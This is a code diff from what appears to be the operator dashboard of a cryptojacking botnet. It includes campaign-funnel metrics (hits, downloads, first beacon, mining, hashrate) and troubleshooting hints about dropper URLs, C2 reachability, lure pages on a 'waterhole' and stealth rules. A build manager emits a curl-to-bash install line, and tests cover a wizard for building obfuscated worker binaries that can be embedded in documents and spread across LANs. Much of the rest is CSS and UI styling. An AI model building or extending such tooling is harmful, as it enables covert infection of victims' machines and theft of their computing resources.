export type FunnelStageId = 'hits' | 'downloads' | 'first_beacon' | 'mining' | 'hashrate';
|
||||
|
||||
export interface FunnelStage {
|
||||
id: FunnelStageId;
|
||||
label: string;
|
||||
value: number;
|
||||
display: string;
|
||||
/** Conversion from previous stage (0 for first stage). */
|
||||
rateFromPrev: number | null;
|
||||
}
|
||||
|
||||
export type FunnelLeakSeverity = 'warn' | 'critical';
|
||||
|
||||
export interface FunnelLeak {
|
||||
stage: string;
|
||||
severity: FunnelLeakSeverity;
|
||||
message: string;
|
||||
action: string;
|
||||
}
|
||||
|
||||
/** Agents ÷ hits × 100, rounded to one decimal. */
|
||||
export function conversionPct(agents: number, hits: number): number {
|
||||
if (hits <= 0) return 0;
|
||||
return Math.round((agents / hits) * 1000) / 10;
|
||||
}
|
||||
|
||||
/** Stage-to-stage conversion %, rounded to one decimal. */
|
||||
export function stageConversionPct(to: number, from: number): number {
|
||||
if (from <= 0) return 0;
|
||||
return Math.round((to / from) * 1000) / 10;
|
||||
}
|
||||
|
||||
/** Resolved first-beacon count (falls back to agents for older payloads). */
|
||||
export function firstBeaconCount(c: WarRoomCampaign): number {
|
||||
if (c.first_beacon != null) return c.first_beacon;
|
||||
return c.agents ?? 0;
|
||||
}
|
||||
|
||||
/** Resolved mining count (agents with hashrate > 0). */
|
||||
export function miningCount(c: WarRoomCampaign): number {
|
||||
if (c.mining != null) return c.mining;
|
||||
return c.hashrate > 0 ? 1 : 0;
|
||||
}
|
||||
|
||||
/** Left-to-right funnel stages for a campaign card. */
|
||||
export function funnelStages(c: WarRoomCampaign): FunnelStage[] {
|
||||
const beacon = firstBeaconCount(c);
|
||||
const mining = miningCount(c);
|
||||
const hits = c.hits ?? 0;
|
||||
const downloads = c.downloads ?? 0;
|
||||
|
||||
return [
|
||||
{ id: 'hits', label: 'Hits', value: hits, display: String(hits), rateFromPrev: null },
|
||||
{
|
||||
id: 'downloads',
|
||||
label: 'Downloads',
|
||||
value: downloads,
|
||||
display: String(downloads),
|
||||
rateFromPrev: stageConversionPct(downloads, hits),
|
||||
},
|
||||
{
|
||||
id: 'first_beacon',
|
||||
label: 'First beacon',
|
||||
value: beacon,
|
||||
display: String(beacon),
|
||||
rateFromPrev: stageConversionPct(beacon, downloads),
|
||||
},
|
||||
{
|
||||
id: 'mining',
|
||||
label: 'Mining',
|
||||
value: mining,
|
||||
display: String(mining),
|
||||
rateFromPrev: stageConversionPct(mining, beacon),
|
||||
},
|
||||
{
|
||||
id: 'hashrate',
|
||||
label: 'Hashrate',
|
||||
value: c.hashrate ?? 0,
|
||||
display: formatHashrate(c.hashrate),
|
||||
rateFromPrev: mining > 0 && (c.hashrate ?? 0) > 0 ? 100 : stageConversionPct(c.hashrate > 0 ? 1 : 0, mining),
|
||||
},
|
||||
];
|
||||
}
|
||||
|
||||
/** Max pipe fill width (0–100) relative to funnel entry hits. */
|
||||
export function funnelPipeWidth(stageValue: number, hits: number, isHashrate = false): number {
|
||||
if (isHashrate) {
|
||||
return stageValue > 0 ? 100 : 8;
|
||||
}
|
||||
if (hits <= 0) return stageValue > 0 ? 100 : 8;
|
||||
return Math.max(8, Math.round((stageValue / hits) * 100));
|
||||
}
|
||||
|
||||
/**
|
||||
* Detect funnel leaks — actionable callouts when a stage drops sharply.
|
||||
* Returns highest-severity leaks first.
|
||||
*/
|
||||
export function detectFunnelLeaks(c: WarRoomCampaign): FunnelLeak[] {
|
||||
const hits = c.hits ?? 0;
|
||||
const downloads = c.downloads ?? 0;
|
||||
const beacon = firstBeaconCount(c);
|
||||
const mining = miningCount(c);
|
||||
const leaks: FunnelLeak[] = [];
|
||||
|
||||
if (hits >= 50 && beacon === 0) {
|
||||
leaks.push({
|
||||
stage: 'hits→beacon',
|
||||
severity: 'critical',
|
||||
message: `${hits} hits but zero agents — funnel dead before beacon.`,
|
||||
action: 'Verify dropper URL, install script, and C2 reachability from target network.',
|
||||
});
|
||||
} else if (hits >= 20 && downloads === 0) {
|
||||
leaks.push({
|
||||
stage: 'hits→downloads',
|
||||
severity: 'warn',
|
||||
message: `${hits} page hits with no downloads.`,
|
||||
action: 'Check lure CTA, blocked hosts, or broken /get link on the waterhole.',
|
||||
});
|
||||
}
|
||||
|
||||
if (downloads >= 5 && beacon === 0) {
|
||||
leaks.push({
|
||||
stage: 'downloads→beacon',
|
||||
severity: 'critical',
|
||||
message: `${downloads} downloads but no first beacon.`,
|
||||
action: 'Worker may fail install — confirm server URL, TLS, and agent binary for target OS.',
|
||||
});
|
||||
}
|
||||
|
||||
if (beacon >= 3 && mining === 0) {
|
||||
leaks.push({
|
||||
stage: 'beacon→mining',
|
||||
severity: 'warn',
|
||||
message: `${beacon} agents connected but none mining.`,
|
||||
action: 'Check pool/wallet in build, idle policy, GPU drivers, or Crucible schedule.',
|
||||
});
|
||||
}
|
||||
|
||||
if (beacon > 0 && mining > 0 && (c.hashrate ?? 0) <= 0 && (c.online ?? 0) === 0) {
|
||||
leaks.push({
|
||||
stage: 'mining→hashrate',
|
||||
severity: 'warn',
|
||||
message: 'Agents mined before but fleet is offline with zero hashrate.',
|
||||
action: 'Fleet may have been killed — re-deploy or check stealth / idle resume rules.',
|
||||
});
|
||||
}
|
||||
|
||||
const order: Record<FunnelLeakSeverity, number> = { critical: 0, warn: 1 };
|
||||
leaks.sort((a, b) => order[a.severity] - order[b.severity]);
|
||||
return leaks;
|
||||
}
|
||||
|
||||
/** Compact hashrate for table cells (H/s). */
|
||||
export function formatHashrate(hs: number): string {
|
||||
if (!hs || hs <= 0) return '—';
|
||||
if (hs >= 1_000_000) return `${(hs / 1_000_000).toFixed(2)} MH/s`;
|
||||
if (hs >= 1_000) return `${(hs / 1_000).toFixed(1)} kH/s`;
|
||||
return `${Math.round(hs)} H/s`;
|
||||
}
|
||||
|
||||
/** Max value in a daily hits series (for sparkline scaling). */
|
||||
export function sparklineMax(values: number[]): number {
|
||||
if (!values.length) return 1;
|
||||
return Math.max(1, ...values);
|
||||
}
|
||||
|
||||
/** Inline height % for CSS bar sparkline (0–100). */
|
||||
export function sparklineBarHeight(value: number, max: number): number {
|
||||
if (max <= 0 || value <= 0) return 4;
|
||||
return Math.max(8, Math.round((value / max) * 100));
|
||||
}
|
||||
|
||||
/** Compact delta label for odometer tick-ups (null when unchanged). */
|
||||
export function formatOdometerDelta(prev: number, next: number): string | null {
|
||||
const delta = next - prev;
|
||||
if (delta === 0 || !Number.isFinite(delta)) return null;
|
||||
const sign = delta > 0 ? '+' : '−';
|
||||
const abs = Math.abs(delta);
|
||||
if (abs >= 1_000_000) return `${sign}${(abs / 1_000_000).toFixed(1)}M`;
|
||||
if (abs >= 10_000) return `${sign}${(abs / 1_000).toFixed(1)}k`;
|
||||
if (Number.isInteger(abs) || abs >= 100) return `${sign}${Math.round(abs)}`;
|
||||
return `${sign}${abs.toFixed(1)}`;
|
||||
}
|
||||
|
||||
/** Stagger delay (ms) for funnel card stage animations. */
|
||||
export function staggerDelayMs(cardIndex: number, itemIndex: number, baseMs = 45): number {
|
||||
return cardIndex * 110 + itemIndex * baseMs;
|
||||
}
|
||||
|
||||
/** Eased tick duration scales with magnitude of change. */
|
||||
export function odometerDurationMs(delta: number): number {
|
||||
const abs = Math.abs(delta);
|
||||
if (abs <= 3) return 380;
|
||||
if (abs <= 25) return 560;
|
||||
if (abs <= 200) return 720;
|
||||
return 920;
|
||||
}
|
||||
|
||||
/** Cubic ease-out for odometer interpolation (0 → 1). */
|
||||
export function odometerEase(t: number): number {
|
||||
const clamped = Math.min(1, Math.max(0, t));
|
||||
return 1 - (1 - clamped) ** 3;
|
||||
}
|
||||
|
||||
/** Interpolate between two numeric endpoints with odometer easing. */
|
||||
export function odometerLerp(from: number, to: number, progress: number): number {
|
||||
return from + (to - from) * odometerEase(progress);
|
||||
}
|
||||
@@ -54,7 +54,7 @@ function QuickDeployPanel({ serverInfo }: { serverInfo: ServerInfo | null }) {
|
||||
);
|
||||
|
||||
return (
|
||||
<NeonCard accent="cyan" style={{ marginBottom: '1.25rem' }}>
|
||||
<NeonCard accent="cyan" className="operator-deck-card operator-interactive" style={{ marginBottom: '1.25rem' }}>
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.75rem' }}>
|
||||
<span style={{ fontSize: '1.2rem' }}>⚡</span>
|
||||
<div>
|
||||
@@ -370,7 +370,7 @@ export default function AgentsPage() {
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className="page fade-in command-deck operator-deck-page">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">FLEET REGISTRY</p>
|
||||
@@ -400,7 +400,7 @@ export default function AgentsPage() {
|
||||
</NeonCard>
|
||||
) : (
|
||||
<div className="agents-layout">
|
||||
<div className="agents-list-panel">
|
||||
<div className="agents-list-panel operator-deck-card operator-interactive">
|
||||
<FleetToolbar
|
||||
agents={agents}
|
||||
filters={filters}
|
||||
@@ -443,7 +443,7 @@ export default function AgentsPage() {
|
||||
</div>
|
||||
|
||||
{selectedAgent && (
|
||||
<NeonCard accent="cyan" className="agent-detail" hud>
|
||||
<NeonCard accent="cyan" className="agent-detail operator-deck-card operator-interactive" hud>
|
||||
<h2 className="font-display">{selectedAgent.name}</h2>
|
||||
{(selectedAgent.tags?.length ?? 0) > 0 && (
|
||||
<div style={{ marginBottom: '0.5rem' }}>
|
||||
|
||||
@@ -354,6 +354,37 @@
|
||||
color: #f87171;
|
||||
}
|
||||
|
||||
.bm-tag-public {
|
||||
color: #7dd3fc;
|
||||
border-color: rgba(125, 211, 252, 0.45);
|
||||
background: rgba(125, 211, 252, 0.1);
|
||||
}
|
||||
|
||||
.bm-public-btn {
|
||||
font-size: 0.78rem;
|
||||
padding: 0.3rem 0.7rem;
|
||||
background: rgba(56, 189, 248, 0.08);
|
||||
border: 1px solid rgba(56, 189, 248, 0.3);
|
||||
border-radius: 4px;
|
||||
color: #7dd3fc;
|
||||
cursor: pointer;
|
||||
transition: background 0.15s, border-color 0.15s, box-shadow 0.15s;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.bm-public-btn:hover:not(:disabled) {
|
||||
background: rgba(56, 189, 248, 0.18);
|
||||
border-color: rgba(56, 189, 248, 0.55);
|
||||
}
|
||||
|
||||
.bm-public-btn-active {
|
||||
background: rgba(56, 189, 248, 0.16);
|
||||
border-color: rgba(56, 189, 248, 0.6);
|
||||
color: #38bdf8;
|
||||
box-shadow: 0 0 8px rgba(56, 189, 248, 0.25);
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
@media (max-width: 640px) {
|
||||
.bm-grid {
|
||||
grid-template-columns: 1fr;
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import BuildManagerPage, {
|
||||
fmtSize,
|
||||
@@ -91,4 +92,19 @@ describe('BuildManagerPage', () => {
|
||||
expect(screen.getByText('office-worker')).toBeTruthy();
|
||||
});
|
||||
});
|
||||
|
||||
it('toggles public flag via API', async () => {
|
||||
vi.spyOn(api, 'setBuildPublic').mockResolvedValue({ ok: true, id: 'build-1', public: true });
|
||||
render(
|
||||
<MemoryRouter future={routerFuture}>
|
||||
<BuildManagerPage />
|
||||
</MemoryRouter>
|
||||
);
|
||||
await waitFor(() => expect(screen.getByText('office-worker')).toBeTruthy());
|
||||
const btn = screen.getByRole('button', { name: /mark public/i });
|
||||
await userEvent.click(btn);
|
||||
await waitFor(() => {
|
||||
expect(api.setBuildPublic).toHaveBeenCalledWith('build-1', true);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -108,6 +108,45 @@ function DeleteButton({ buildId, onDeleted, onError }: { buildId: string; onDele
|
||||
);
|
||||
}
|
||||
|
||||
function PublicButton({
|
||||
buildId,
|
||||
isPublic,
|
||||
onToggled,
|
||||
onError,
|
||||
}: {
|
||||
buildId: string;
|
||||
isPublic: boolean;
|
||||
onToggled: () => void;
|
||||
onError: (msg: string) => void;
|
||||
}) {
|
||||
const [busy, setBusy] = useState(false);
|
||||
|
||||
const handleClick = async () => {
|
||||
if (busy) return;
|
||||
setBusy(true);
|
||||
try {
|
||||
await api.setBuildPublic(buildId, !isPublic);
|
||||
onToggled();
|
||||
} catch (e) {
|
||||
onError(e instanceof Error ? e.message : 'Failed to update public flag');
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<button
|
||||
type="button"
|
||||
className={`bm-public-btn${isPublic ? ' bm-public-btn-active' : ''}`}
|
||||
disabled={busy}
|
||||
onClick={() => void handleClick()}
|
||||
title={isPublic ? 'Remove from login-page public builds list' : 'Expose on unauthenticated public builds API'}
|
||||
>
|
||||
{busy ? '…' : isPublic ? '🌐 Public' : '🌐 Mark public'}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
function PinButton({
|
||||
buildId,
|
||||
pinned,
|
||||
@@ -177,7 +216,7 @@ function BuildCard({
|
||||
const sh = `curl -sL ${serverBase}/install.sh | bash`;
|
||||
|
||||
return (
|
||||
<NeonCard accent={build.pinned ? 'green' : 'brass'} className={`bm-card${build.pinned ? ' bm-card-pinned' : ''}`}>
|
||||
<NeonCard accent={build.pinned ? 'green' : 'brass'} className={`bm-card operator-deck-card operator-interactive${build.pinned ? ' bm-card-pinned' : ''}`}>
|
||||
{/* ── Pinned banner ── */}
|
||||
{build.pinned && (
|
||||
<div className="bm-pinned-banner">
|
||||
@@ -195,6 +234,7 @@ function BuildCard({
|
||||
>
|
||||
{platformLabel(build.platform)}
|
||||
</span>
|
||||
{build.public && <span className="bm-tag bm-tag-public">PUBLIC</span>}
|
||||
{isFusion && <span className="bm-tag bm-tag-fusion">FUSION</span>}
|
||||
{isUniversal && !isFusion && <span className="bm-tag bm-tag-universal">UNIVERSAL</span>}
|
||||
</div>
|
||||
@@ -294,6 +334,7 @@ function BuildCard({
|
||||
<span className="bm-qr-label">Scan to download</span>
|
||||
</div>
|
||||
<div className="bm-action-btns">
|
||||
<PublicButton buildId={build.id} isPublic={!!build.public} onToggled={onPinned} onError={onActionError} />
|
||||
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} />
|
||||
<button
|
||||
type="button"
|
||||
@@ -349,7 +390,7 @@ export default function BuildManagerPage() {
|
||||
}, [navigate]);
|
||||
|
||||
return (
|
||||
<div className="page fade-in bm-page">
|
||||
<div className="page fade-in bm-page operator-deck-page">
|
||||
<div className="bm-header">
|
||||
<div>
|
||||
<h1 className="font-display bm-title">Build Manager</h1>
|
||||
|
||||
171
server/web/src/pages/BuilderPage.css
Normal file
171
server/web/src/pages/BuilderPage.css
Normal file
@@ -0,0 +1,171 @@
|
||||
/* ── Forge seasonal skins (scoped to BuilderPage root) ───────────────────── */
|
||||
|
||||
.forge-skin--aether {
|
||||
--forge-accent: var(--neon-cyan, #00d4ff);
|
||||
--forge-accent-secondary: var(--neon-amber, #ffc107);
|
||||
--forge-accent-dim: rgba(0, 212, 255, 0.38);
|
||||
--forge-accent-bg: rgba(0, 212, 255, 0.07);
|
||||
--forge-glow: rgba(0, 212, 255, 0.6);
|
||||
--forge-border-glow: 0 0 22px -6px rgba(0, 212, 255, 0.45);
|
||||
--forge-progress-from: #ff6a00;
|
||||
--forge-progress-mid: #ffb300;
|
||||
--forge-progress-to: #ffd700;
|
||||
}
|
||||
|
||||
.forge-skin--ghost {
|
||||
--forge-accent: #4d7fff;
|
||||
--forge-accent-secondary: #8eb8ff;
|
||||
--forge-accent-dim: rgba(77, 127, 255, 0.42);
|
||||
--forge-accent-bg: rgba(45, 85, 200, 0.1);
|
||||
--forge-glow: rgba(77, 127, 255, 0.65);
|
||||
--forge-border-glow: 0 0 24px -5px rgba(77, 127, 255, 0.5);
|
||||
--forge-progress-from: #2f5fd4;
|
||||
--forge-progress-mid: #4d7fff;
|
||||
--forge-progress-to: #a8c8ff;
|
||||
}
|
||||
|
||||
.forge-skin--halloween {
|
||||
--forge-accent: #b794f6;
|
||||
--forge-accent-secondary: #ff8c3a;
|
||||
--forge-accent-dim: rgba(183, 148, 246, 0.45);
|
||||
--forge-accent-bg: rgba(100, 50, 160, 0.12);
|
||||
--forge-glow: rgba(255, 140, 58, 0.58);
|
||||
--forge-border-glow: 0 0 24px -5px rgba(183, 148, 246, 0.45), 0 0 12px -8px rgba(255, 140, 58, 0.35);
|
||||
--forge-progress-from: #6d28d9;
|
||||
--forge-progress-mid: #b794f6;
|
||||
--forge-progress-to: #ff8c3a;
|
||||
}
|
||||
|
||||
.forge-skin--wildfire {
|
||||
--forge-accent: #ff8c3a;
|
||||
--forge-accent-secondary: #ff4d00;
|
||||
--forge-accent-dim: rgba(255, 120, 40, 0.48);
|
||||
--forge-accent-bg: rgba(255, 70, 10, 0.11);
|
||||
--forge-glow: rgba(255, 100, 20, 0.68);
|
||||
--forge-border-glow: 0 0 26px -4px rgba(255, 120, 40, 0.55);
|
||||
--forge-progress-from: #e63e00;
|
||||
--forge-progress-mid: #ff8c3a;
|
||||
--forge-progress-to: #ffcc66;
|
||||
}
|
||||
|
||||
.forge-skin--crucible {
|
||||
--forge-accent: #d4af37;
|
||||
--forge-accent-secondary: #e85d4a;
|
||||
--forge-accent-dim: rgba(212, 175, 55, 0.48);
|
||||
--forge-accent-bg: rgba(160, 40, 25, 0.11);
|
||||
--forge-glow: rgba(232, 93, 74, 0.62);
|
||||
--forge-border-glow: 0 0 24px -5px rgba(212, 175, 55, 0.4), 0 0 14px -8px rgba(232, 93, 74, 0.4);
|
||||
--forge-progress-from: #a67c00;
|
||||
--forge-progress-mid: #e85d4a;
|
||||
--forge-progress-to: #ffd700;
|
||||
}
|
||||
|
||||
/* Subtle deck chrome */
|
||||
[class*='forge-skin--'] .deck-hero::after {
|
||||
background: linear-gradient(90deg, var(--forge-accent), var(--forge-accent-secondary, var(--forge-accent)), transparent);
|
||||
box-shadow: 0 0 14px var(--forge-glow);
|
||||
animation: forge-deck-accent-pulse 3s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes forge-deck-accent-pulse {
|
||||
0%,
|
||||
100% {
|
||||
opacity: 0.85;
|
||||
box-shadow: 0 0 10px var(--forge-glow);
|
||||
}
|
||||
50% {
|
||||
opacity: 1;
|
||||
box-shadow: 0 0 18px var(--forge-glow);
|
||||
}
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .deck-eyebrow {
|
||||
color: var(--forge-accent);
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .builder-form.card {
|
||||
border-color: var(--forge-accent-dim);
|
||||
box-shadow: var(--forge-border-glow, 0 0 18px -8px var(--forge-glow));
|
||||
transition: border-color 0.35s ease, box-shadow 0.35s ease;
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .endpoint-chip {
|
||||
color: var(--forge-accent-secondary, var(--forge-accent));
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .endpoint-chip:hover {
|
||||
border-color: var(--forge-accent);
|
||||
background: var(--forge-accent-bg);
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .endpoint-chip.active {
|
||||
border-color: var(--forge-accent);
|
||||
color: var(--forge-accent);
|
||||
background: var(--forge-accent-bg);
|
||||
}
|
||||
|
||||
/* Operation mode chip select micro-animation */
|
||||
[class*='forge-skin--'] .forge-mode-chip {
|
||||
transition:
|
||||
transform 0.22s cubic-bezier(0.34, 1.2, 0.64, 1),
|
||||
box-shadow 0.25s ease,
|
||||
border-color 0.18s ease,
|
||||
background 0.18s ease,
|
||||
color 0.18s ease;
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .forge-mode-chip.active {
|
||||
animation: forge-mode-chip-pop 0.42s cubic-bezier(0.34, 1.4, 0.64, 1);
|
||||
box-shadow:
|
||||
0 0 14px var(--forge-glow),
|
||||
inset 0 0 10px color-mix(in srgb, var(--forge-accent) 12%, transparent);
|
||||
}
|
||||
|
||||
@keyframes forge-mode-chip-pop {
|
||||
0% {
|
||||
transform: scale(0.9);
|
||||
}
|
||||
55% {
|
||||
transform: scale(1.06);
|
||||
}
|
||||
100% {
|
||||
transform: scale(1);
|
||||
}
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .forge-simple-banner {
|
||||
border-color: var(--forge-accent-dim);
|
||||
background: var(--forge-accent-bg);
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .forge-progress-wrap {
|
||||
border-color: var(--forge-accent-dim);
|
||||
background: var(--forge-accent-bg);
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .forge-progress-icon {
|
||||
color: var(--forge-accent);
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .forge-progress-stage {
|
||||
color: var(--forge-accent-secondary, var(--forge-accent));
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .forge-progress-pct {
|
||||
color: var(--forge-accent);
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .forge-progress-fill {
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
var(--forge-progress-from),
|
||||
var(--forge-progress-mid),
|
||||
var(--forge-progress-to)
|
||||
);
|
||||
box-shadow: 0 0 8px var(--forge-glow);
|
||||
}
|
||||
|
||||
[class*='forge-skin--'] .forge-progress-glow {
|
||||
background: color-mix(in srgb, var(--forge-accent) 45%, transparent);
|
||||
box-shadow: 0 0 10px 4px var(--forge-glow);
|
||||
}
|
||||
@@ -2,7 +2,7 @@
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react';
|
||||
import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import BuilderPage, { formatBytes } from './BuilderPage';
|
||||
@@ -21,6 +21,12 @@ function renderBuilder(initialEntries = ['/forge']) {
|
||||
);
|
||||
}
|
||||
|
||||
function missionWizardScope() {
|
||||
const root = screen.getByText('MISSION RITUAL — 3-STEP WIZARD').closest('.forge-mission-wizard');
|
||||
if (!root) throw new Error('Mission wizard not found');
|
||||
return within(root as HTMLElement);
|
||||
}
|
||||
|
||||
describe('formatBytes', () => {
|
||||
it('formats sub-kilobyte values as bytes', () => {
|
||||
expect(formatBytes(512)).toBe('512 B');
|
||||
@@ -184,4 +190,104 @@ describe('BuilderPage', () => {
|
||||
screen.getByText(/Drop any file — PDF, video, document/i)
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('applies forge skin class from default operation mode', async () => {
|
||||
localStorage.setItem('aetherforge-operation-mode', 'ghost_walk');
|
||||
localStorage.setItem('aetherforge-forge-theme', 'auto');
|
||||
const { container } = renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--ghost');
|
||||
});
|
||||
|
||||
it('honors forge theme override over operation mode', async () => {
|
||||
localStorage.setItem('aetherforge-operation-mode', 'ghost_walk');
|
||||
localStorage.setItem('aetherforge-forge-theme', 'halloween');
|
||||
const { container } = renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--halloween');
|
||||
expect(container.querySelector('.command-deck')).not.toHaveClass('forge-skin--ghost');
|
||||
});
|
||||
|
||||
it('updates forge skin when operation mode chip is selected', async () => {
|
||||
localStorage.setItem('aetherforge-forge-theme', 'auto');
|
||||
const { container } = renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Wildfire' }));
|
||||
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--wildfire');
|
||||
});
|
||||
|
||||
it('applies crucible skin for Crucible Storm mode', async () => {
|
||||
localStorage.setItem('aetherforge-operation-mode', 'crucible_storm');
|
||||
localStorage.setItem('aetherforge-forge-theme', 'auto');
|
||||
const { container } = renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--crucible');
|
||||
});
|
||||
|
||||
it('applies halloween skin for Sigil Mask mode', async () => {
|
||||
localStorage.setItem('aetherforge-operation-mode', 'sigil_mask');
|
||||
localStorage.setItem('aetherforge-forge-theme', 'auto');
|
||||
const { container } = renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--halloween');
|
||||
});
|
||||
|
||||
it('renders mission ritual wizard with three step pills', async () => {
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
const wizard = missionWizardScope();
|
||||
expect(screen.getByText('MISSION RITUAL — 3-STEP WIZARD')).toBeInTheDocument();
|
||||
expect(wizard.getByRole('tab', { name: /Mode/i })).toBeInTheDocument();
|
||||
expect(wizard.getByRole('tab', { name: /Profile/i })).toBeInTheDocument();
|
||||
expect(wizard.getByRole('tab', { name: /Launch/i })).toBeInTheDocument();
|
||||
expect(wizard.getByRole('button', { name: 'Ghost' })).toBeInTheDocument();
|
||||
expect(wizard.getByRole('button', { name: 'Loud' })).toBeInTheDocument();
|
||||
expect(wizard.getByRole('button', { name: 'Spread' })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('advances mission wizard from mode to profile to launch', async () => {
|
||||
const user = userEvent.setup();
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
const wizard = missionWizardScope();
|
||||
|
||||
await user.click(wizard.getByRole('button', { name: 'Spread' }));
|
||||
await user.click(wizard.getByRole('button', { name: 'Next →' }));
|
||||
expect(wizard.getByText('Spread profile (optional)')).toBeInTheDocument();
|
||||
|
||||
await user.click(wizard.getByRole('button', { name: 'LAN Kindling' }));
|
||||
await user.click(wizard.getByRole('button', { name: 'Next →' }));
|
||||
expect(wizard.getByRole('button', { name: '🚀 Launch Ritual' })).toBeInTheDocument();
|
||||
expect(wizard.getByLabelText('Campaign slug (?c=)')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('runs mission ritual and shows success modal with spread landing link', async () => {
|
||||
vi.spyOn(api, 'buildAgent').mockResolvedValue({
|
||||
success: true,
|
||||
build_id: 'ritual-build-1',
|
||||
file_name: 'worker-ritual.exe',
|
||||
file_size: 4096,
|
||||
download_url: '/api/v1/builds/ritual-build-1/download',
|
||||
fusion_enabled: false,
|
||||
obfuscated: false,
|
||||
signed: false,
|
||||
});
|
||||
vi.spyOn(api, 'exportSpreadKit').mockResolvedValue(undefined);
|
||||
|
||||
const user = userEvent.setup();
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
const wizard = missionWizardScope();
|
||||
|
||||
await user.click(wizard.getByRole('button', { name: 'Spread' }));
|
||||
await user.click(wizard.getByRole('button', { name: 'Next →' }));
|
||||
await user.click(wizard.getByRole('button', { name: 'LAN Kindling' }));
|
||||
await user.click(wizard.getByRole('button', { name: 'Next →' }));
|
||||
await user.click(wizard.getByRole('button', { name: '🚀 Launch Ritual' }));
|
||||
|
||||
expect(await screen.findByText('Mission complete — links copied')).toBeInTheDocument();
|
||||
expect(screen.getByRole('link', { name: 'Open spread landing' })).toHaveAttribute('href', '/spread/');
|
||||
expect(api.buildAgent).toHaveBeenCalled();
|
||||
expect(api.exportSpreadKit).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -32,6 +32,7 @@ import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import PoolPresetPicker from '../components/PoolPresetPicker';
|
||||
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
|
||||
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
|
||||
import { useForge } from '../context/ForgeContext';
|
||||
import {
|
||||
fusionPayloadKind,
|
||||
@@ -43,7 +44,46 @@ import {
|
||||
defaultEmbeddedName,
|
||||
} from '../help/fusionMedia';
|
||||
import { SPREAD_PROFILES, applySpreadProfile, type SpreadProfileId } from '../help/spreadProfiles';
|
||||
import {
|
||||
FORGE_THEME_EVENT,
|
||||
OPERATION_MODES,
|
||||
applyOperationMode,
|
||||
forgeSkinClassName,
|
||||
loadStoredForgeTheme,
|
||||
loadStoredOperationMode,
|
||||
resolveForgeSkin,
|
||||
storeOperationMode,
|
||||
type OperationModeId,
|
||||
} from '../help/forgeOperationModes';
|
||||
import {
|
||||
MISSION_STEPS,
|
||||
MISSION_STEP_LABELS,
|
||||
applyMissionPresets,
|
||||
copyMissionLinks,
|
||||
missionStepStatus,
|
||||
runForgeMission,
|
||||
type MissionLinks,
|
||||
type MissionStep,
|
||||
} from '../help/forgeMission';
|
||||
import {
|
||||
MISSION_OPERATION_CHIPS,
|
||||
MISSION_WIZARD_STEPS,
|
||||
MISSION_WIZARD_STEP_LABELS,
|
||||
canAdvanceWizardStep,
|
||||
missionChipForMode,
|
||||
nextWizardStep,
|
||||
operationModeForChip,
|
||||
prevWizardStep,
|
||||
wizardPillStatus,
|
||||
type MissionOperationChip,
|
||||
type MissionWizardStep,
|
||||
} from '../help/forgeMissionWizard';
|
||||
import './Pages.css';
|
||||
import './BuilderPage.css';
|
||||
|
||||
